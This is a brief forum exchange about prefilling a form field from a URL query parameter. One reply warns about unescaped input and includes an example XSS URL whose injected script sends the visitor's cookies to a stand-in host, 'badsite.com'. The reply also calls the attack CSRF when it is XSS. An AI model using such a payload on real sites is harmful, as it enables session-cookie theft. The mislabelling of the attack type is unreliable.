I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with “John”, and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Well, using php, something like
I’m not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like:
http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="Could turn out badly (just an example, not sure if it works).